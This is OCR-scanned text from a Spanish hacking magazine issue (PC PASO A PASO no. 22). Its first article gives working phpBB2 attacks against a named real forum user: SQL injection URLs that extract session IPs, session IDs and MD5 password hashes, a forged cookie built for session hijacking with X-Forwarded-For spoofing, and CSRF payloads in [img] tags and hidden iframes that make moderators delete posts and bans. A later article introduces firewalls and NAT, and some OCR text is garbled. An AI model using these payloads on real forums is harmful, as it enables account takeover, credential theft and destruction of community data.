Direcibn | @] http:jww. hackxcrack

& B Internet

A partir de ahora podemos hacer lo que
queramos en nombre de Grullanetx,
postear, verle los privados (mmm, yo no
hice nada de eso) o podemos cambiarle

el perfil... y su password verdadera por
otra nueva... y él sera quien no pueda
entrar... pero eso no estd bien.

2 wwnw. hacloerack.com :: Editar su perfil - Microsoft Internet Explorer

drchivo  Edicion  Ver Eavoritos  Hemamientss  Ayuda

Qus - ) (%] B 0 Psusaeda §lerovortos @ intimeda &) (3-

Dieceiin | ] hitp:Hfwww. hackscrack. comfphpBB2jprofile. php?mode=ediprofie

2] ® Internet

Bueno, todo esto estd muy bien...
elaborado, pero...
inyeccion SQL?

y muy
iqué hay de esa

Pues ahora vamos... resulta que con
esta técnica nos va a sobrar el asunto de
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Propiedades @

General

la web maliciosa, el script, el servidor
web y la madre del cordero.

Tenemos que averiguar dos cosas:

19) Averiguar la IP, eso para un mod
o admin es facil, pero cualquier user
también lo puede hacer, basta poner un
avatar o firma que apunte a su webserver
y cazara las de todo quisquii que pase
por ese hilo o.... usar esto:

http://www.hackxcrack.com/phpBB2/p

Acabamos de ver que Grullanetx es el
user 3840

Ahora escribimos todo el churro ese
(que es una consulta a la BBDD del
foro vulnerable) y ponemos el nimero
3840 donde dice ID_DEL_USUARIO
y nos dara la IP

3 wwrwr. hacleccrack. com 3: Indice - Microsoft Internet Explorer
rchive Edcén Yer Eavorbos Heramientas Ay

OO REG

rivmsg.php?folder=savebox&mode=rea
d&p=99&pm sqgl user=AND%20pm.pri
V M S g S t v p e = -

99%20UNION%?20SELECT%20session
user_id,session_ip,session_ip,session_i
p,session _ip,session ip,session ip,sess
ion_ip,session_ip,session_ip,session_ip
,Session_ip,session_ip,session_ip,sessi
on_ip,session_ip,session_ip,session_ip,
session_ip,session_ip,session_ip,sessio

y cuando pulsemos enter:

3
2 www. hackocrack.com :: Leer mensaje - Microsoft Internet Explorer

Archivo  Edicién  Yer Favoritos  Herramientas  Ayuda

Qs -
Diregcién

&l Jocerack.c

¥ [ (b Osisaueds g Favortos @ rukineds ) (- L B
hp?fold d p=998pm_sql_user= ¥ | (£ Ir

De: 3840
Para: Ws6of
Publicado: Jue Ene 01, 1970 1:00 am
Asunto: Wsor

oot

<
& ® Internet

n_ip,session_ip,session_ip,session_ip,s
ession_ip,session_ip,session_ip,session

ip,session_ip,session_ip%20FROM%?2
Ophpbb2_sessions%20WHERE%?20sess
ion_user_id=ID_DE_USUARIO%?20LI

MIT%?201/*

ID_DEL_USUARIO: Ser3 el Identificador
constante... el userid, ese no CAMBIA
NUNCA, por ejemplo para AZIMUT el
2, para Vic_Thor el 1011, basta con
pulsar en el nick de cualquier usuario
- boton derecho del raton-
propiedades y...

profile. php?mode=viewprofiltu=3840

PC PASO A PASO N° 22

Intencionadamente eliminé el primer
octeto, nos muestra la Ip en formato
Hexadecimal, que en decimal
punteado seria

XXX seria el valor hexadecimal omitido,
el de los cuadraditos rojos..

YYY seria el valor hexadecimal omitido,
el de los cuadraditos amarillos

46 es 70 en decimal

9F es 159 en decimal

Por lo que tenemos que la IP de
Grullanetx es: XXX.YYY.70.159

Ni gue decir tiene, que sale toda completita
2°) Averiguar el sid, mmm esto parece

mas complicado, podemos hacerlo de
varios modos,
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A.- El que yo puse con la web "chunga"
que se puede usar de paso para cazar
las IP’s

B.- la inyeccion SQL... pero "modificada",
veamos:

La tabla que guarda las sesiones activas
es phpbb2_sessions, en los ejemplos
gue vienen a continuacién pone phpbb
y no phpbb2 como en este foro, sélo
eso... es de un foro de pruebas que tengo
montado en casa...

columns_priv

db

func

host
phpbb_auth_access
phpbb_banlist
phpbb_categories
phpbb_conf ig
phpbb_disallow
phpbb_forum_prune
phphb_foruns
phpbb_groups
phpbb_posts
phphb_posts_text
phphb_privmsgs
phpbb_privmsgs_text
phpbb_ranks
phphb_search_results
phphb_search_wordlist
phpbb_search_uwordmatch
phpbb_sessions
phphb_smilies
phpbb_themes
phpbb_themes_name
phpbb_topics
phpbhb_topics_watch
phpbb_user_group
phpbb_users
phpbb_vote_desc
phpbb_vote_results
phpbb_vote_voters
phpbb_words
tables_priv

user

in set <0.18

i char{32>

i mediumint<8> |
i intd11) i
Pointdil)
i char(8)
i odintcCi1)

session_id es el campo que guarda el
sid y session_user_id el identificador
(3840 para Grullanetx, 1011 para mi, 2
para azimut... lo de antes...)

Luego la inyeccion sql es:

http://www.hackxcrack.com/phpBB2/pr
ivmsg.php?folder=savebox&mode=read
&p=99&pm_sqgl_user=AND%20pm.priv
m S g S t v p e = -
99%20UNION%20SELECT%20session
user_id,session_id,session_id,session_i
d,session id,session id,session id,sessi
on_id,session_id,session_id,session_.id,
session_id,session_id,session_id,sessio
n_id,session id,session id,session id,s
ession_id,session_id,session_id,session
id,session_id,session_id,session_.id,ses
sion id,session id,session id,session i
d,session_id,session_id%20FROM%20p
hpbb2_ sessions%20WHERE%20session
user_id=ID_DEL_USUARIO%20LIMIT

%201/*

Lo tecleamos y....

/i wewewr. hackxcrack.com :: Leer mensaje - Microsoft Internet Explorer

archive  Edidén  Ver Favoritos  Heramientas  Ayuda

- -
O.més - x z“‘ 0 S ) Bisqueda

Favoritos (@Y ultimedia ) - &

] Pttp:ffwonw.hackxerack.comfphpBB2privinsg PP ToMer = saveboxaemode=readap=998pm_sal_user= v [£3 Ir
Foros de discusion

Guardado :: Mensaje
3

De:

Para:

Publicado: Jue E
Asunto:  f0ad98eaS7eas 688e9c2d2f
fDag98eas7eab0586a4eeddea8edc2d2f

g profile #www £ aim Ylyim &msnm []icq

] Abriendo pagina

iwmsg.php?Folder= [§_  Internet

Pagina 18

PC PASO A PASO N° 22




SUSCRIBETE A
PC PASO A PASO

SUSCRIPCION POR:
1ANO
11 NUMEROS

Contra Reembolso

Solo tienes que enviarnos un mail a preferente@hackxcrack.com
indicando:

- Nombre

- Apellidos

- Direccion Completa

- Poblacion

- Provincia

- Cdgigo Postal

- Mail de Contacto y/o Teléfono Contacto

Es imprescindible que nos facilites un mail o teléfono de contacto.
- Tipo de Subscripcion: CONTRAREEMBOLSO

- Nimero de Revista:

Este sera el numero a partir del cual quieres subscribirte. Si deseas
(por ejemplo) subscribirte a partir del numero 5 (incluido), debes poner
un 5y te enviaremos desde el 5 hasta el 15 (ambos incluidos)

APRECIACIONES:

* Junto con el primer numero recibiras el abono de 45 euros, precio
de la subscripcion por 11 nimeros (un afio) y una carta donde se te
indicara tu numero de Cliente Preferente y justificante/factura de la
subscripcion.

* Puedes hacernos llegar estos datos POR MAIL,tal como te hemos
indicado; rellenando el formulario de nuestra WEB
(www.hackxcrack.com) o enviandonos una carta a la siguiente direccion:
CALLE PERE MARTELL N°20, 2°-12

CP 43001 TARRAGONA

ESPANA

* Cualquier consulta referente a las subscripciones puedes enviarla
por mail a preferente@hackxcrack.com

45 EUROS (10% DE DESCUENTO)
+

SORTEO DE UNA CONSOLA XBOX
+

SORTEO 2 JUEGOS PC (A ELEGIR)

Giro Postal

Envianos un GIRO POSTAL por valor de 45 EUROS a:

CALLE PERE MARTELL20, 2° 1@

CP 43001 TARRAGONA

ESPANA

IMPORTANTE: En el TEXTO DEL GIRO escribe un mail de contacto
0 un nimero de Teléfono.

Y enviarnos un mail a preferente@hackxcrack.com indicando:
- Nombre

- Apellidos

- Direccion Completa

- Poblacion

- Provincia

- Cdgigo Postal

- Mail de Contacto y/o Teléfono Contacto

Es imprescindible que nos facilites un mail o teléfono de contacto.
- Tipo de Subscripcion: GIRO POSTAL

- Numero de Revista:

Este sera el numero a partir del cual quieres subscribirte. Si deseas
(por ejemplo) subscribirte a partir del nimero 5 (incluido), debes poner
un 5y te enviaremos desde el 5 hasta el 15 (ambos incluidos)

APRECIACIONES:

* Junto con el primer nimero recibiras una carta donde se te indicara
tu nimero de Cliente Preferente y justificante/factura de la subscripcion.
* Puedes hacernos llegar estos datos POR MAIL,tal como te hemos
indicado; o enviandonos una carta a la siguiente direccion:
CALLE PERE MARTELL N°20, 2°-12

CP 43001 TARRAGONA

ESPANA

* Cualquier consulta referente a las subscripciones puedes enviarla
por mail a preferente@hackxcrack.com



Asaltando foros - Asaltando foros - Asaltando foros - Asaltando foros - Asaltando foros

Obviamente el usuario a spoofear debe
estar logueado en ese momento, en
caso contrario hallaremos un sid nulo o
invalido.... ah!!! que esta oculto, no pasa
nada... cualquiera puede comprobarlo
sin necesidad de ser admin

Bueno, ya tenemos esto:
P usuario: Grullanetx
b IP: XXX.YYY.70.59

b ID: 3840

PSID: f0a98ea57ea60586a4eedd68
8e9c2d2f (que es lo que nos dio el sqg/
inyection de las tablas session y que varia
por cada vez que se loguea.. o sea, que
hay que hacerlo "en el momento que se
le vea..."

Pues ahora sélo nos falta completar la
cookie y ponerla en el proxomitron
como aprendimos.... a esto le pegamos
el SID obtenido y le cambiamos el userid

phpbb2mysql_t=a:1:{i:15405;i:1087417130; };
phpbb2mysql_data=a:2:{s:11:"autologinid";s:0:"":s:6:"userid";s:4:"2687":};
phpbb2mysql_sid=

Luego nos quedara asi:

phpbb2mysql_t=a:1:{i:15405;i:1087417130;};
phpbb2mysql_data=a:2:{s:11:"autologinid";s:0:"";s:6:"userid";s:4:"3840'"; };
phpbb2mysql_sid=f0a98ea57ea60586a4eedd688e9c2d2f
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Por ultimo ponemos la IP en la
cabecera X-ForWarded-For (out) ...
y el resto ya lo conocemos “

Te estaras preguntando si se pueden
hacer mas cosas... pues si... por ejemplo
podemos sacar el hash de la contrasefa
y luego craquearla, aunque claro, después
de esto no tiene mucho sentido perder

tanto el tiempo, pero en fin, te pondré el
codigo de inyeccion:

http://www.hackxcrack.com/phpBB2/pr
ivmsg.php?folder=savebox&mode=read
&p=99&pm_sqgl user=AND%20pm.priv
m s g s t v p e = -

99%20UNION%?20SELECT%?20usernam
e,user_password,user _password,user p
assword,user_password,user_password
,user_password,user_password,user_pa
ssword,user _password,user password,
user_password,user_password,user_pa
ssword,user_password,user_password,
user_password,user _password,user pa
ssword,user_password,user_password,
user_password,user_password,user_pa
ssword,user _password,user password,
user_password,user_password,user_pa
ssword,user_password,user_password
%20FROM%?20phpbb2 users%20WHER
E%20username="'Grullanetx'%20LIMIT

%201/*

Con este no te hace falta ni conocer el
userid... directamente el nombre del
usuario y ZAS, el hash en MD5 del usuario
en tu navegador... luego al crack....

2 www. hackxcrack.com :: Leer mensaje - Microsoft Internet Explorer

archivo  Edicion  Ver FEavortos Herramientas Ayuda

¢ profile Hemail Mwww £aim

Ylyim Amsnm Eicq

® Internet

También, y como va siendo habitual, le
puse unos cuantos cuadraditos.. sé que
ya cambié6 su clave, pero por si acaso...

Por si queda alguna duda, aqui te pongo
algunas capturas de “otro” foro, para que
no haya susceptibilidades, por si piensas
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que siendo uno de los administradores
de hackxcrack tengo mas posibilidades...

Entrando en el foro “guiri”,
“curiosamente” el usuario usurpado era

un moderador =

I T oo S|
| i Tocin Yo Eowator tacsmertss At

| st~ o> - D Q) ()| Doiomsn Gifeorses Josonat | e 23 G = (=)

| erecana |
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arers Phenting 0 bevet Ovat be whosid 40 wel, Tow svver bagm.

favarite Tios and Trcks that v vss. 33 338 sse mes 4 3008 3134

Viendo la zona reservada para
moderadores y administradores

Last 10 Active Pasts

&) [ Feermt

Los privados... qué cosas...

= =18l
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Moderando el foro...

I e
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Stuck ot 12)..... grrrer 3
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States....
The Newest member...

Malding my breathe..

We have to get preple posting there finds mare... 2
Oilema.....

Site bs moving fast

bandwidth... 2

Avatars? 3

srto 2

) 1 we need to talk in private

Man Mar 91, 2004 712e o

Mea Feb 23, 2004 1226

Tho Fab 1%, 2004 4143 pom

Tho Fab 0%, 20040 0132 am

Wed Fab 04, 2004 8147 aem

SRS 3 DiEs 3
1111111111111@ L

I

|Btas

Todo usando la misma técnica... claro,
que para que puedas usar las
inyecciones SQL y averiguar los
parametros necesarios para el spoof,
primero hay que registrarse... puesto
gue para usar los codigos anteriores hay
que haber hecho /login en el foro... a no
ser... que se permita postear a los
invitados.

Terminando....

Si cambias la IP del X-Forwarded-For
en el proxomitron y estas logueado en
el foro... te desconectaras solito, porque
el phpBB2 comprobara que tu IP
ya no es la misma y caducard tu
sesién

Para utilizar SQL inyection y HTML
inyection debes estar logueado como
usuario registrado, no sirve como
invitado.

Para spoofear un usuario con su IP
y el SID robado, debes hacerlo como
invitado y en una sesiéon nueva del
navegador, en caso contrario no
funcionara.
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Craquear los hashes en MD5 de las
contrasefas puede ser una labor eterna...
si el usuario tiene un password de muchos
caracteres y con combinaciones de letras,
numeros y signos, lo mas probable es
que nos entierren a todos antes de
sacarla.

Ahh!! Y decias que se pueden borrar
posts o “dirigir” a enlaces maliciosos...
pues si... este es otro bug, de lo mas
estlUpido, pero sorprendentemente
dafiino...

Si ponemos esto:

http://www.hackxcrack.com/phpBB2/lo
gin.php?logout=true

y pinchamos en el link... nos desconecta...
vaaaleee, eso es una gilipollez... nadie
pinchara en eso... pero.... &y si ponemos
esto?:

[img]http://www.hackxcrack.com
/phpBB2/login.php?logout=true[/i
mg]

Pues parece lo mismo, pero no lo es....
el phpBB2 se hace la picha un lio y quiere
mostrar esa imagen... no puede porque
no lo es.... y lo ejecuta... o sea, que si
ponemos eso como firma o como avatar...
todos los que vean los post del usuario
que tiene eso en su firma se
desconectaran del foro...

Pues para borrar

post igual....

post que se haya indicado... SIN

PREGUNTAS.

Los usuarios normales no pueden borrar
en la mayor parte de las ocasiones, pero
si me pongo eso en la firma... seguro que
un administrador o moderador, tarde o
temprano vera alguno de mis posts y se
borrara el que yo quiera.....

.... hombre... eso borraria un post...
para eliminar muchos hay que poner
cientos de imagenes y eso no es
factible... écomo puedo hacerlo "en
masa"?

Pues la respuesta la di en el hilo de "la
importancia de llamarse HTML", mas

iframes *

Es decir, me creo una web en cualquier
servidor..... y junto con mi bonita web,
sus fotos, videos, etc... me creo esto:

B inttulo - Bloc de notas CER
frchivo Edicion Formato Yer Ayuda

<iframe width="0" height="0" src="http://www.hackxcrack.com/phpBB2/posting php Tmode=delete&p=1& confirm=yes"=</iframe=  *
<iframe width="0" height="0" sre="hrtp:/www.hackxcrack.con/phpBB2/posting | php'imode—delete&p Z&cmﬁm—yes " fiframe
<iframe width="0" height="0" src="http:/www.hackxcrack.com/phpBB2/posting.php? & m=yes'></ifr

<iframe width="0" height="0" sre="http:/'www.hackxcrack con/phpBB2/posting | pllp"mude—delete&p 4&confirm=yes"></iframe=
«iframe width="0" height="0" sre="http://'www.hackxcrack.com/php BB2/posting php?mode=delete&p=5& confirm=yes"></iframe=

<1fmme width="0" height="0" sre="http: /www.hackxcrack.com/php BB2/posting.php? 0&con yes'"></ifra
<iframe width="0" height="0" sre="http://www.hackxcrack.com/phpBB2/posting | p]lp”mnrle-delete&p‘ﬁl&tnnﬁm yes'"></iframe>

<iframe width="0" height="0" sre="http: /www.hackxcrack.com/phpBB2/posting. phpTmode=delete &p=800 &confirm=yes"></iframe=
<iframe width="0" height="0" sre="http://ww com/phpBB2/posting.php? &p=801 =yes"=<iframe=

[img]http://www.hackxcrack.com
/phpBB2/posting.php?mode=delet
e& p=NUMERO_DE_POST_A_BORR
AR&confirm=yes[/img]

Y no sigo por que ya lo cogéis, éno? o
mas facil un JavaScript y un bucle que
vaya variando el valor de p

Pero hay mas... también se pueden
usar estos

/admin/admin_styles.php?mode=delete&style_id=numero |

donde nimero serda el estilo a borrar

Y cuando un administrador o un
moderador pase por ese hilo, borrara el

/admin/admin_words.php?mode=delete&id=niumero, |

donde niimero sera la palabra censurada a borrar
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| /admin/admin_smilies.php?mode=delete&id=nimero | http://www.forohxc.com/bugforos/descarga.zip

ara los smilies .
P Y el agradecimiento:

| /admin/admin_user_ban.php?mode=delete&id=niumero |

Agradecer la labor que mis compafieros
han realizado, labores de vigilancia
intensiva para que esto no nos ocurriera
a nosotros, para todos los moderadores
que son hoy, los que fueron... y para un
grupo “de oteadores” y “conejillos de
indias” que nos ayudaron a mantener “el/
orden”, moebius, Yorkshire, mi querido y
ultrajado Grullanetx.... buff, espero no
dejarme a ninguno... pero todos sabéis
a quienes me refiero....

para los baneados.... vamos, un desastre,
de veras... a mas de uno le han fulminado
el foro completito....

Ahora si... termino: dos cosas, otro enlace
y un agradecimiento especial @

El enlace es para que os podais descargar
todos los codigos expuestos, las webs
maliciosas, los html inyection y sql
inyection, que teclearlos es un rollo y

seguro que nos equivocamos. Eso si...
cuidadito con lo que se hace... GRACIAS! ! !!

Dominios sin letra pequeia

Tu propio dominio por sélo 18,95 € por un afo’,
con todo incluido:

- IVA incluido

#LOIn - Panel de control d =
-net - Redireccién a tu pagina WEB con META-TAGS O I I I l ii ;e ( : a
.org + Redireccién de email
.info + Gestion completa de DNS:

Biz apunta a la IP de tu conexion WWW. d 0 m‘i teca . Com

+ Bloqueo antirrobo

* Sin letra pequena: 18.95 IVA Incl (16.34 + IVA 16%). Precio para . . e . 5
un afio de registro extensiones .com, .net, .org, .info, .biz . Precios especiales para distribuidores; consultanos.

Precios menores contratando varios anos. DOMITECA® es un servicio ofrecido por HOSTALIA INTERNET S.L.
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FIREWALLS

QUE SON, COMO FUNCIONAN

o

L

Y COMO SALTARSELOS

Inicilamos un nuevo curso de lo mas “jugeso”
No hace falta hacer una extensa presentacion. ssimplemente te lo advertimos:
N0 ES UN CURSO QUE PUEDAS SALTARTEM

Saludos de nuevo, amigo@s

Nuestro siguiente objetivo son los cortafuegos,
los Firewalls, esos “ilustres” conocidos y
desconocidos. Por el momento presentaré
algunas definiciones basicas, tipos de
cortafuegos, su implementacién, algunos
servicios caracteristicos como NAT y PAT y
terminaremos el presente articulo con los
accesos NO autorizados a redes.

Para después de las vacaciones de verano,
tenemos una gran tarea, repartidos en varios
articulos mas: implementaremos Firewalls
Comerciales, otros como IPTABLES y
continuaremos con algunos articulos
interesantes a partir de Octubre como:

P Redes Heterogéneas e Integracion de
Sistemas LiNUX-Windows

P Disefio y Tecnologias de Redes Privadas
Virtuales

P Redes WAN: ADSL, RTB, RDSI...
P Routers y Routing

Y terminaremos alla para final de afio
convirtiendo nuestro PC (uno viejecito, no
hace falta que sea una super-maquina) en
un Router ADSL tanto para Windows como
para LiINUX, nada tendra que envidiar a esos
“cacharros” del tipo CISCO, 3COM, Zyxel,
etc. Hasta ofreceremos conectividad en
diferentes tecnologias de redes, fibra,
ethernet, token y por su puesto.... INTERNET...
hasta puede ser la tan vilipendiada XBOX que
tantos disgustos y alegrias nos causo...
éConvertir la Xbox en un router ADSL? Mmm,
es una idea.... a fin de cuentas tiene una
entrada ethernet y una conexion a Internet...
y qué demonios... es un Pentium III con

discoduro y todo =

Por el momento nos conformamos con lo que
hay... unos cuantos PC’s y los medios vy
dispositivos de red habituales, pero
afrontaremos este hecho con los conocimientos
necesarios para construir un sistema eficaz
de seguridad. Tras “/a serie” de IDS (publicada
en los anteriores numeros de la revista), ahora
hablaremos de Firewalls, proxys, gateways
y host bastion.

Definicion y funciones de un

Firewall

La funcion principal de un firewall consiste
en examinar las comunicaciones que se
establecen entre dos redes, permitirlas,
rechazarlas e incluso redirigirlas.

Aunque se puede implementar soluciones
Firewalls en una Unica red, no es lo habitual.
Lo normal es que los Firewalls actien como
centinelas de guardia evitando los accesos no
autorizados a cualquier otro dispositivo que
protege, que puede ser un unico host, unos
pocos o la red entera.

Desde el punto de vista empresarial, una red
guarda datos e informacion valiosa, por ello
se debe guardar la confidencialidad de sus
datos, la integridad de los mismos vy la
disponibilidad (el acceso) de las maquinas que
la componen.

Un Firewall es un dispositivo (0 un conjunto
de ellos) de contencién. Funciona dividiendo
la red en varias zonas y evitando que el trafico
generado entre o salga de cada zona
dependiendo de unas reglas establecidas.
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Coémo protegen la red los Firewalls

Firewall

En este articulo haremos referencia a los
Firewalls como un conjunto de uno o varios
dispositivos que se encuentran entre redes
de confianza (como puede ser una LAN) y
redes externas (como puede ser Internet).

FEOO0r

om>D

g_g ‘ | Firewall o
g

.;j‘f Internet

Router

Basicamente de cuatro formas:

Los Firewalls inspeccionan todo el trafico
que fluye entre ambas redes y:

P Todas las comunicaciones deben pasar
por ellos

P Sélo permitiran el trafico autorizado
P Pueden y deben resistir los ataques
dirigidos contra ellos mismos

Un Firewall puede ser un router, un PC, un
host especifico disefiado para ello, una
combinacion de todo lo anterior y también un
conjunto de maquinas que operan para
preservar la seguridad en los accesos a la red
y normalmente se ubican en los limites de la
topologia de la red, dentro del perimetro que
se considera como “seguro”.

En principio parece bastante facil definir lo
que es el perimetro de la red, sin embargo
con la aparicién de las redes privadas virtuales,
a veces, no es tarea facil.

PC PASO A PASO N° 22

P Filtrado de paquetes, puertos y servicios
P Puertas de enlace a aplicaciones (gateway
y proxys de aplicacion)

P Puertas de enlace entre circuitos (gateway
y proxys SOCKS)

P Inspeccion de paquetes de estado.

Ventajas e inconvenientes de los
Firewalls

Sin un Firewall, las redes quedan expuestas
con todos sus dispositivos y configuracion de
seguridad, es decir, si esos dispositivos ofrecen
servicios al exterior, la seguridad de las
transmisiones dependera del propio sistema
operativo de los equipos y de lo robusto que
sea el servicio ofrecido.

Sin un Firewall, la seguridad se basa
totalmente en los hosts y cuanta mas grande
sea la red mas complejo sera mantener la
seguridad individual de cada uno de ellos...
ya sabes, murphy "“acecha”, imagina una
empresa con 5 servidores web y un
administrador parcheando los agujeros...

seguro que parchea todos menos uno =

9 Cuando hace...

Cuando hace muchos aflos que te dedicas a la ensefianza, te das
cuenta de algunas cosas realmente interesantes. Una a destacar
es que las personas, cuando se acercan por primera vez a "la
informatica", poseen una gran "inocencia". Creen que un ordenador
es "algo" casi perfecto, que nunca se equivoca, que siempre hace
lo que le dices, etc.

Esa "inocencia" se pierde rapidamente a medida que tus
conocimientos aumentan. Los ordenadores necesitan un Sistema
Operativo para funcionar, y ese sistema operativo esta programado
por personas, y las personas cometemos errores, y el resultado
es que los ordenadores funcionan "tan bien" como los humanos
hemos sido capaces de programarlos.
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(A do 1l 7P i i isi
(A donde queremos llegar corhl e.sta nota? Pues que si todo fuese b Reglas generosas o demasiado permisivas
perfecto los firewalls no existirian, todos y cada uno de los

elementos que forman parte de una red serian elementos . e
P No pueden detener ataques si el trafico

no pasa por ellos... otra perogrullada...
pero si el ataque se produce “desde dentro”
el Firewall no funcionara... bendito seas

invulnerables.

Pero esta situacion ideal esta muy lejos de la realidad... para
empezar el propio protocolo TCP/IP tiene imperfecciones, por lo

tanto, cualquier elemento basado en €l (por ejemplo Internet) IDS de mi corazon

P Pueden convertirse en un embudo
disminuyendo la fiabilidad, el rendimiento
o la flexibilidad de la red.

arrastra esas imperfecciones que deben ser "corregidas" por el
Sistema Operativo de turno, el cual también es imperfecto...

entonces cualquier programa para un sistema operativo debe

"corregir”" (en la medida de lo posible) esas imperfecciones
Con Firewall o sin él, también hay que
asegurar los hosts, esto daria para muuuuchos
articulos, pero como pautas a seguir:

arrastradas del TCP/IP y del Sistema Operativo, y la cadena sigue
y sigue y sigue.

(El resultado? Pues que cuanto mas sabes mas cuenta te das del

CAOS reinante. Cuanto mas complejo mas CAOTICO y mas P Desactivar todos los servicios que no se

medidas de seguridad necesitamos. .. si el mundo fuese perfecto...

este articulo no existiria.

Esto no quiere decir que al usar un Firewall
podemos descuidar a los hosts, pero no cabe
duda que la inclusion de un Firewall en la
red ayuda a protegerla frente a un error y la
atencion del administrador se centrara en
una Unica maquina y no en todas...

Los puntos fuertes de un Firewall son:

P Reforzar la politica de seguridad
P Restringir el acceso a servicios especificos
P Son auditores excelentes

P Producen alertas y avisan de los sucesos
que se producen

utilicen

P Eliminar cuentas y grupos no necesarios

P Cambiar las contrasefias por defecto y
cuentas predeterminadas

P Reconfigurar el resto de servicios, NUNCA
fiarse de los valores por omision

P Asegurar las funciones administrativas

b Utilizar contrasefias seguras y fuertes

P Estar al corriente de nuevas vulnerabilidades
0 suscribirse a alguna de ellas.

P Aplicar los parches de seguridad

P Proteccidn contra virus y troyanos

P Educar a los usuarios de la red en el control
de registros y alertas

Ademas cuando se implementa un Firewall
es recomendable también:

Las desventajas o puntos débiles son:
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P No ofrecen proteccion ante lo que esta
autorizado, jajaja, estaras sonriendo...
qué perogrullada... miralo asi: Imagina
un Firewall que protege a un Servidor
Web, obviamente debe permitir el trafico
hacia el mismo o no ofrecemos servicio
alguno, pero por lo general no protegera
los ataques o explotacién de
vulnerabilidades del servidor web o contra
la aplicacién en si... HTML injection, bugs
conocidos, overflows.... etc..

b Control redundante, es decir, utilizar mas
de uno y diferentes

P Implementar un IDS

P Establecer una directiva de seguridad o
politica de empresa

P Definir el propédsito de la red

P Supervisar los registros y alertas

P Realizar auditorias y pruebas de comportamiento
P Implementar una seguridad fisica y acceso
a los medios, salas bajo llave, racks, acceso
a puertos de consola, desactivar las bocas de
switches que no se usen, etc..
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Diseino de redes con Firewalls

Host Bastion

Este apartado bien merece otro articulo
especifico, de hecho lo tendra... en préximos
meses, pero por el momento tres conceptos
y tres implementaciones:

P Zona desmilitarizada (DMZ)
P Host Bastion
P Gateways o puertas de enlace

Zona Desmilitarizada

La DMZ es una red completa que permite el
trafico entre Internet dentro o fuera de la
Intranet y al mismo tiempo mantiene la
seguridad en la propia Intranet.

Es como el recibidor de una casa, "los de
fuera” vienen pero no pasan al salén, nos
visitan, los atendemos y los despedimos...
no usaran ni la cocina, ni el cuarto de bafo.

"Los de dentro”, pueden atravesarlo para
salir a la calle o permanecer en el recibidor,
pero sin comprometer las otras dependencias
de la casa, una DMZ es como un buffer entre
Internet y nuestra red.

La DMZ contiene servidores y dispositivos
de comunicaciones de capas 2 y 3 (switches,
routers, Firewalls...)

Los servidores estan conectados DENTRO de
la DMZ y pueden ser proxys, servidores de
acceso remoto, VPN, correo, FTP...

Red LBcaI A

=

Switich de
niicleo

-~ g Switich de [T
- niicleo =T
=

Router DMZ _.I\
DMZ 2 j

Granija de servidore;

Red Local B

Es un sistema que se utiliza como “punto
fuerte” y con caracteristicas de Firewall, en
muchas ocasiones es quien se lleva “/as
bofetadas”, puede ser un PC, un router, un
Firewall....

A menudo el host bastion es un sistema que
NO REENVIA direcciones IP entre Internet y
la Intranet, es decir, se puede acceder al
mismo desde cualquiera de las dos partes
pero NUNCA las dos redes intercambian datos
directamente.

Red Local

Switch LAN

Host Bastion

y g_g ) A Switch Router Externo
1 ‘a8 o
__ 5 y
Red Local = g z

dei_uca!
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Puertas de enlace

Normalmente es un router que actla como
Firewall y como router, opera con filtros de
paquete para bloquear trafico IP, TCP, UDP
que no esté autorizado, también otros
protocolos pero casi siempre con reglas
“simples” de puertos y servicios
despreocupandose del contenido del trafico
en si mismo, comunmente a ese conjunto de
reglas se les denomina ACL’s (Listas de
acceso)

Todas estas definiciones, conceptos e
implementaciones en ocasiones pueden
confundirte, sobre todo en disefios de red
pequefos, en estos casos nos encontramos
con un “todo en uno”, imagina una pequefa
empresa con 30 6 40 maquinas, con una
conexion ADSL contratada con un proveedor
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y ofreciendo servicios WEB en un equipo
cualquiera de su red corporativa. En este caso
el router que instala el proveedor LO ES TODO,
bueno, realmente no hay DMZ.

Observa que en el ejemplo anterior,
comprometer el servidor web significaria
comprometer toda la red interna, idem si se
consigue comprometer el router, aunque no
se disponga de acceso a los equipos internos
desde el exterior, comprometer cualquiera de
esos dos dispositivos amenazaria la seguridad
de todos los demas.

Implementaciéon y Tipos de

Aunque las capacidades de filtrado han
mejorado mucho, habitualmente se limitan a
denegar o permitir el trafico por puerto, servicio
0 protocolo pero no revisan el contenido de
los paquetes de datos, se limitan a inspeccionar
las cabeceras, no los datos que se transportan.

Sin embargo son muy utiles cuando se
combinan con un Firewall, puesto que a este
ultimo ya le llegan los paquetes filtrados por
el router y no tiene que ocuparse de todo el
trafico, con lo que aumenta el rendimiento de
los cortafuegos.

Firewall basados en host

Firewall

Fundamentalmente podemos distinguir:

P Firewall de red basados en host
P Firewall basados en routers

P Firewall basados en host

P Firewall de equipos

Como ves, muy parecido a los diferentes tipos
de IDS, puede confundirte el primero, el
segundo y el tercero... parecen lo mismo,
pero no lo son... pasemos a describirlos:

Pues un Firewall que protege a un UNICO
host, son soluciones econdmicas y fiables si
en nuestra red disponemos de pocas maquinas
ofreciendo servicios, si por el contrario son
muchos, la labor administrativa de mantener
individualmente cada uno es muy elevada.

Normalmente son software que se instalan en
los sistemas operativos anfitriones, como Zone
Alarm, Kerio, etc..

Firewall de equipos

Firewalls de red basados en Host

Protegen redes completas y se instalan sobre
Sistemas Operativos como Windows, LiNUX,
Solaris, etc.

Ademas suelen reforzar la pila de protocolos
TCP/IP del propio sistema operativo, modifican
los archivos de inicio, entradas al registro y
agregan NUevos procesos.

Entre los mas conocidos y nombrados estan,
el conjunto IPTABLES del nucleo de LiNUX,
soluciones del tipo StonesGate, FW-1 de
Checkpoint, etc...

Firewalls basados en routers

Los routers son la primera capa de proteccion
y en redes pequefias se utilizan como
Firewalls.

En este tipo se encuadran dispositivos que
tienen hardware y software propio y optimizado
para la funcidon que desempefian, es decir, son
como los Firewalls de red basados en host
pero con independencia del sistema operativo
anfitrion. Son auténticos ordenadores
especializados en labores de Firewall.

Entre los mas conocidos tenemos los Pixware
de Cisco, Firewalls de 3COM, Nokia, etc...
También los podemos llamar Firewalls
Hardware vy, por cierto, suelen ser bastante
caros.

Servicio de Traduccion de
Direcciones de Red (NAT)

No podemos continuar y entender el
funcionamiento de un Firewall, un router o
una puerta de enlace tipo proxy si no
comprendemos y entendemos bien qué es eso
del NAT.
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NAT permite “enmascarar” un conjunto de
direcciones IP (una o varias redes o subredes
completas) bajo una Unica direccion IP o bajo
unas pocas.

Para empezarlo a entender... imaginemos un
cibercafé con 50 ordenadores conectados a
Internet, una forma de conectarlos seria
contratar 50 Ip’s publicas a un proveedor o
incluso de conexiones ADSL para cada
ordenador, asi todos “"salen” a Internet.

